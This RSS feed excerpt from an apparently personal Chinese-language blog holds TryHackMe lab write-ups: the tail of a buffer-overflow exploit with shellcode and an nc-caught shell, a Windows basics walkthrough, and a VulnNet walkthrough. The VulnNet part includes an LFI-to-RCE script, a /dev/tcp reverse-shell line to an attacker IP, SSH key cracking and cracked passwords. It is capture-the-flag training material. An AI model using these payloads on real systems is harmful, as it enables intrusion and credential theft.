&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x5c\x9c\xbc\x55\xa3\x1f\xbd\x7c\x60\x4b\xed\x16\x41\xf4\x66&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xe6\x6e\x21\x28\xb6\xc0\x9a\x89\x66\xa1\x4a\x62\x6c\x2e\xb4&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x92\x8f\xe4\xdd\x39\x6a\x6f\x22\x15\x75\x05\xca\x64\x75\xc7&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xcf\xe0\x93\x9d\xdf\xa4\x0c\x0a\x79\xed\xc6\xab\x86\x3b\xa3&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xec\x0d\xc8\x54\xa2\xe5\xa5\x46\x53\x06\xf0\x34\xf2\x19\x2e&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x50\x98\x88\xb5\xa0\xd7\xb0\x61\xf7\xb0\x07\x78\x9d\x2c\x31&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xd2\x83\xac\xa7\x1d\x07\x6b\x14\xa3\x86\xfe\x20\x87\x98\xc6&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xa9\x83\xcc\x96\xff\x5d\xba\x50\x56\x2c\x14\x0b\x05\xe6\xf0&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xca\x65\x39\x86\xd2\xa3\xcf\x66\x62\x1a\x96\x99\x4b\xca\x1e&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xe2\xb1\x6a\xe0\x39\x72\x8a\x03\xeb\x8f\x23\x9a\x7e\x32\x2e&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x1d\x55\x71\x57\x9e\x5f\x0a\xac\xbe\x2a\x0f\xe8\x78\xc7\x7d&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x61\xed\xe7\xd2\x82\x24&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payload &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; command &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; padding &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; new_eip &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; padding2 &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;sendline(payload)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;本地端開 nc 接 Shell&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/236a6-DFp6IBy.png"&gt;成功!!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="參考資料"&gt;參考資料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.hackercat.org/oscp/buffer-overflows-made-easy-notes-oscp-preparation"&gt;https://www.hackercat.org/oscp/buffer-overflows-made-easy-notes-oscp-preparation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=o-1qYzAqM_Q"&gt;https://www.youtube.com/watch?v=o-1qYzAqM_Q&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=yJF0YPd8lDw"&gt;https://www.youtube.com/watch?v=yJF0YPd8lDw&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Windows Fundamentals 1 (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/24/windows-fundamentals-1-try-hack-me-writeup/</link><pubDate>Tue, 24 Aug 2021 13:30:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/24/windows-fundamentals-1-try-hack-me-writeup/</guid><description>&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/windowsfundamentals1xbx"&gt;https://tryhackme.com/room/windowsfundamentals1xbx&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="task-1-introduction-to-windows"&gt;Task 1 Introduction to Windows&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;可以用 RDP 之類的方法進入 Windows預設帳號 : &lt;code&gt;administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;預設密碼 : &lt;code&gt;letmein123!&lt;/code&gt;但我直接用 THM 提供的 web RDP 介面- &lt;img loading="lazy" src="https://i.imgur.com/l3kfrD2.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-2-windows-editions"&gt;Task 2 Windows Editions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Home 版本 跟 Pro 的差別可以使用 BitLocker&lt;/li&gt;
&lt;li&gt;可以使用 WIP&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="https://i.imgur.com/j4oLsSC.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.microsoft.com/en-us/windows/compare-windows-10-home-vs-proWhat"&gt;https://www.microsoft.com/en-us/windows/compare-windows-10-home-vs-proWhat&lt;/a&gt; encryption can you enable on Pro that you can&amp;rsquo;t enable in Home?- A: BitLocker&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-3-the-desktop-gui"&gt;Task 3 The Desktop (GUI)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Which selection will hide/disable the Search box?&lt;img loading="lazy" src="https://i.imgur.com/dCK3KO7.png"&gt;&lt;/li&gt;
&lt;li&gt;HiddenWhich selection will hide/disable the Task View button?- &lt;img loading="lazy" src="https://i.imgur.com/f05fvL6.png"&gt;&lt;/li&gt;
&lt;li&gt;Show Task View buttonBesides Clock, Volume, and Network, what other icon is visible in the Notification Area?- &lt;img loading="lazy" src="https://i.imgur.com/HYsPpK2.png"&gt;&lt;/li&gt;
&lt;li&gt;action center&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-4-the-file-system"&gt;Task 4 The File System&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;檔案系統FAT16 / FAT32File Allocation Table&lt;/li&gt;
&lt;li&gt;USB 裝置之類ㄉ還是看ㄉ到HPFS- High Performance File SystemNTFS- New Technology File SystemNTFS 優勢- 文件紀錄系統，可以自動修復日誌&lt;/li&gt;
&lt;li&gt;單檔案 &amp;gt;= 4G&lt;/li&gt;
&lt;li&gt;可以針對資料夾跟黨按設定權限&lt;/li&gt;
&lt;li&gt;資料夾跟檔案的壓縮&lt;/li&gt;
&lt;li&gt;加密 (Encryption File System, EFS)&lt;img loading="lazy" src="https://i.imgur.com/K48VenM.png"&gt;NTFS 權限- Read對資料夾 ： 可以觀看，跟顯示資料夾中的檔案與子資料夾&lt;/li&gt;
&lt;li&gt;對檔案：可以觀看或存取檔案的內容Write- 對資料夾 ： 可以在資料夾中增加檔案或子資料夾&lt;/li&gt;
&lt;li&gt;對檔案：可以對檔案進行寫入Read &amp;amp; Execute- 對資料夾 ： 可以觀看，顯示資料夾中的檔案與子資料夾；可以直行檔案，會繼承給檔案以及資料夾&lt;/li&gt;
&lt;li&gt;對檔案：可以觀看、存取檔案的內容，也可以直行黨按List folder contents- 對資料夾：可以觀看，並列出檔案以及子資料夾，以及執行檔案，只能給 資料夾繼承Modify- 對資料夾：可以讀取、寫入檔案以及子資料夾；允許刪除資料夾&lt;/li&gt;
&lt;li&gt;對檔案：可以讀取，寫入檔案；允許刪除檔案Full Control- 對資料夾，允許讀取、寫入、變更以及刪除檔案與子資料夾&lt;/li&gt;
&lt;li&gt;對檔案：允許讀取、寫入、變更予刪除檔案&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="alternate-data-streams-ads"&gt;Alternate Data Streams (ADS)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;一種 NTFS 的 attribute&lt;/li&gt;
&lt;li&gt;每一個檔案至少都會有一個 Data Stream ($DATA)&lt;/li&gt;
&lt;li&gt;ADS 允許一個檔案包含多個 Data Stream&lt;/li&gt;
&lt;li&gt;Windows Explorer 不會對使用者顯示 ADS，需要透過特定的第三方軟體或是 Powershell&lt;/li&gt;
&lt;li&gt;所以有時候 Malware 會使用 ADS 來隱藏資料&lt;/li&gt;
&lt;li&gt;延伸閱讀 &lt;a href="https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"&gt;https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;範例建立一個 ADS 的東東&lt;img loading="lazy" src="https://i.imgur.com/5kOtSRd.png"&gt;用 Dir 看不出來- &lt;img loading="lazy" src="https://i.imgur.com/jCrO2X8.png"&gt;用 Type 也看不出來- &lt;img loading="lazy" src="https://i.imgur.com/ekfM1mN.png"&gt;可以用 powershell &lt;code&gt;GET-Item -path C:\Users\Administrator\Desktop\example -stream *&lt;/code&gt;- &lt;img loading="lazy" src="https://i.imgur.com/zgKdKdH.png"&gt;CMD 需要裝 Sysinternals 的 Streams- &lt;a href="https://docs.microsoft.com/zh-tw/sysinternals/downloads/streamsWhat"&gt;https://docs.microsoft.com/zh-tw/sysinternals/downloads/streamsWhat&lt;/a&gt; is the meaning of NTFS?- New Technology File System&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-5-the-windowssystem32-folders"&gt;Task 5 The Windows\System32 Folders&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%windir%&lt;/code&gt;最常見的位子在 &lt;code&gt;C:\Windows&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;裡面存放著作業系統，但他不一定需要在 C，也有一些喪心病狂的人會把他設定在其他地方&lt;/li&gt;
&lt;li&gt;所以我們可以使用環境變數，或是說系統環境變數(System environment variables) 來正確的訪問&lt;code&gt;System32&lt;/code&gt;- 資料夾中有許多對作業系統來說很重要的檔案&lt;/li&gt;
&lt;li&gt;在變動、刪除時要特別小心，很可能讓系統爛掉What is the system variable for the Windows folder?- &lt;code&gt;%windir%&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-6-user-accounts-profiles-and-permissions"&gt;Task 6 User Accounts, Profiles, and Permissions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;兩種類型的帳戶Administrator增、刪使用者&lt;/li&gt;
&lt;li&gt;修改 Group&lt;/li&gt;
&lt;li&gt;修改作業系統設定Standard User- 修改與該使用者相關的資料夾、檔案的屬性&lt;/li&gt;
&lt;li&gt;不能做系統層級的修改，例如安裝軟體使用者家目錄- &lt;code&gt;C:\Users\{Username}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;預設會有Desktop&lt;/li&gt;
&lt;li&gt;Documents&lt;/li&gt;
&lt;li&gt;Downloads&lt;/li&gt;
&lt;li&gt;Music&lt;/li&gt;
&lt;li&gt;PicturesLocal User and Group Management- &lt;code&gt;lusrmgr.msc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="https://i.imgur.com/fyKUJjj.png"&gt;&lt;/li&gt;
&lt;li&gt;可以看到各種使用者、群組的資訊What is the name of the other user account?- tryhackmebillyWhat groups is this user a member of?- &lt;img loading="lazy" src="https://i.imgur.com/UG7fYkT.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Remote Desktop Users,Users&lt;/code&gt;What built-in account is for guest access to the computer?- GuestWhat is the account status?- &lt;img loading="lazy" src="https://i.imgur.com/HaK4mu6.png"&gt;&lt;/li&gt;
&lt;li&gt;Account is disabled&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-7-user-account-control"&gt;Task 7 User Account Control&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;UACUser Account ControlVista 後開始使用的可以觀察到一個安裝檔案可能並沒有使用者相關的權限- &lt;img loading="lazy" src="https://i.imgur.com/Upd8XM6.png"&gt;登入一個普通使用者- &lt;code&gt;tryhackmebilly&lt;/code&gt; / &lt;code&gt;window$Fun1!&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;10.10.229.121&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="https://i.imgur.com/LW8bHbS.png"&gt;&lt;/li&gt;
&lt;li&gt;會發現多出盾牌 icon如果執行安裝- 會需要輸入 Administrator 的密碼&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="https://i.imgur.com/w5JAACI.png"&gt;What does UAC mean?- User Account Control&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-8-settings-and-the-control-panel"&gt;Task 8 Settings and the Control Panel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Win8 後出現 Settings 頁面&lt;img loading="lazy" src="https://i.imgur.com/AnP3CPq.png"&gt;舊版控制台 (Control Panel)- &lt;img loading="lazy" src="https://i.imgur.com/xyxW5OJ.png"&gt;In the Control Panel, change the view to Small icons. What is the last setting in the Control Panel view?- &lt;img loading="lazy" src="https://i.imgur.com/VyOGwm5.png"&gt;&lt;/li&gt;
&lt;li&gt;右上角選 small icons&lt;/li&gt;
&lt;li&gt;最後一個選項是 Windows Defender Firewall&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-9-task-manager"&gt;Task 9 Task Manager&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;What is the keyboard shortcut to open Task Manager?&lt;code&gt;ctrl+shift+esc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;哇酷，我還真不知道有這種東西呢&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="task-10-conclusion"&gt;Task 10 Conclusion&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;喵喵&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>VulnNet (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/23/vulnnet-try-hack-me-writeup/</link><pubDate>Mon, 23 Aug 2021 13:28:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/23/vulnnet-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/vulnnet1"&gt;https://tryhackme.com/room/vulnnet1&lt;/a&gt;&lt;br&gt;
IP : 10.10.86.144&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;題目敘述&lt;code&gt;You will have to add a machine IP with domain vulnnet.thm to your /etc/hosts&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 10.10.86.144 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2a603-vIQriUD.png"&gt;&lt;code&gt;nmap -A -p22,80 10.10.86.144&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/562ca-8iyHObG.png"&gt;掃目錄- &lt;code&gt;python3 dirsearch.py -u http://10.10.86.144/&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9308d-qURY7kW.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5c374-vphYlEc.png"&gt;發現登入頁面- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/98e78-lOR56fr.png"&gt;&lt;/li&gt;
&lt;li&gt;戳了常見的 SQLi 都不行觀察網頁連結- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/877c6-UtPIr0V.png"&gt;透過 js formatter 轉漂亮&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/88009-rjfcVqd.png"&gt;- &lt;code&gt;broadcast.vulnnet.thm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;加到 &lt;code&gt;/etc/hosts&lt;/code&gt;前面的階段也可以用 &lt;code&gt;LinkFinder&lt;/code&gt;- &lt;code&gt;python3 linkfinder.py -i http://vulnnet.thm/&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1ee05-oWZvBQs.png"&gt;&lt;code&gt;python3 linkfinder.py -i http://vulnnet.thm/js/index__d8338055.js&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/74eca-JlJlqLz.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7116c-nJFz81A.png"&gt;發現首頁可以帶一個 &lt;code&gt;?referer&lt;/code&gt; 參數訪問 &lt;code&gt;broadcast.vulnnet.thm&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4b286-VHfgLFt.png"&gt;&lt;/li&gt;
&lt;li&gt;發現需要登入觀察首頁 &lt;code&gt;referer&lt;/code&gt; 參數- 發現可以 LFI&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cabf3-WKOWvWA.png"&gt;用 Session upload progress 大法&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import grequests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sess_name &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;meowmeow&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sess_path &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; f&lt;span style="color:#f1fa8c"&gt;&amp;#39;/var/lib/php/sessions/sess_{sess_name}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;base_url &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;http://vulnnet.thm/index.php&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;param &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;referer&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;#code = &amp;#34;file_put_contents(&amp;#39;/tmp/shell.php&amp;#39;,&amp;#39;&amp;amp; /dev/tcp/10.13.21.55/7877 0&amp;gt;&amp;amp;1&amp;#39;&amp;#34;);&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;while&lt;/span&gt; True:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; req &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; [grequests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;post(base_url,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; files&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;{&lt;span style="color:#f1fa8c"&gt;&amp;#39;f&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;A&amp;#34;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;0xffff&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;{&lt;span style="color:#f1fa8c"&gt;&amp;#39;PHP_SESSION_UPLOAD_PROGRESS&amp;#39;&lt;/span&gt;: f&lt;span style="color:#f1fa8c"&gt;&amp;#34;pwned:&amp;#34;&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cookies&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;{&lt;span style="color:#f1fa8c"&gt;&amp;#39;PHPSESSID&amp;#39;&lt;/span&gt;: sess_name}),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; grequests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;get(f&lt;span style="color:#f1fa8c"&gt;&amp;#34;{base_url}?{param}={sess_path}&amp;#34;&lt;/span&gt;)]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; grequests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;map(req)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;pwned&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; result[&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(result[&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;然後就 RCE 了&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a1fdf-Nw726OE.png"&gt;&lt;/li&gt;
&lt;li&gt;(感覺就不是正規解…ㄏㄏ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;掃豌豆&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/65cb3-XZOpfXC.png"&gt;&lt;/li&gt;
&lt;li&gt;找到 backup&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6240f-KBMz0OO.png"&gt;觀察 backup 檔案，發現有 ssh-backup- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e5582-so7QneR.png"&gt;&lt;/li&gt;
&lt;li&gt;偷出來解壓縮- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/610d9-jsXBiUr.png"&gt;&lt;/li&gt;
&lt;li&gt;發現是 &lt;code&gt;id_rsa&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/51aef-0P706uh.png"&gt;到家目錄看使用者名稱- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a890d-v2l4V0H.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server-management&lt;/code&gt;發現是 &lt;code&gt;server-management&lt;/code&gt;準備 ssh 登入- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d02d9-qRY1yQi.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 &lt;code&gt;id_rsa&lt;/code&gt; 需要密碼 QQ用約翰爆破- &lt;code&gt;python3 ../../ssh2john.py id_rsa &amp;gt; id_rsa_john&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6b9be-Wd6L7hB.png"&gt;&lt;/li&gt;
&lt;li&gt;密碼是 &lt;code&gt;oneTWO3gOyac&lt;/code&gt;SSH 登入- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ceed6-78Hekqp.png"&gt;&lt;/li&gt;
&lt;li&gt;取得 user flag跑豌豆掃到 &lt;code&gt;.htpasswd&lt;/code&gt; 密碼的 hash- 猜測應該是給 &lt;code&gt;broadcast.vulnnet.thm&lt;/code&gt; 用的&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/47aa5-cGflEXG.png"&gt;&lt;/li&gt;
&lt;li&gt;用約翰爆破個&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4ae0f-g5fTfFi.png"&gt;&lt;/li&gt;
&lt;li&gt;密碼是 ``9972761drmfsls&lt;code&gt;猜測原始思路正規解法應該是 LFI 到這個檔案訪問 broadcast.vulnnet.thm- 使用帳號 &lt;/code&gt;developers&lt;code&gt;![](/uploads/2022/02/7cb34-jR4k1zC.png)密碼 &lt;/code&gt;9972761drmfsls`&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c5964-Hp0c1Il.png"&gt;- 推測這應該是某個有 RCE 洞的 CMS&lt;/li&gt;
&lt;li&gt;正規解是從這邊進 RCE ㄅ&lt;/li&gt;
&lt;li&gt;隨便&lt;/li&gt;
&lt;/ul&gt;
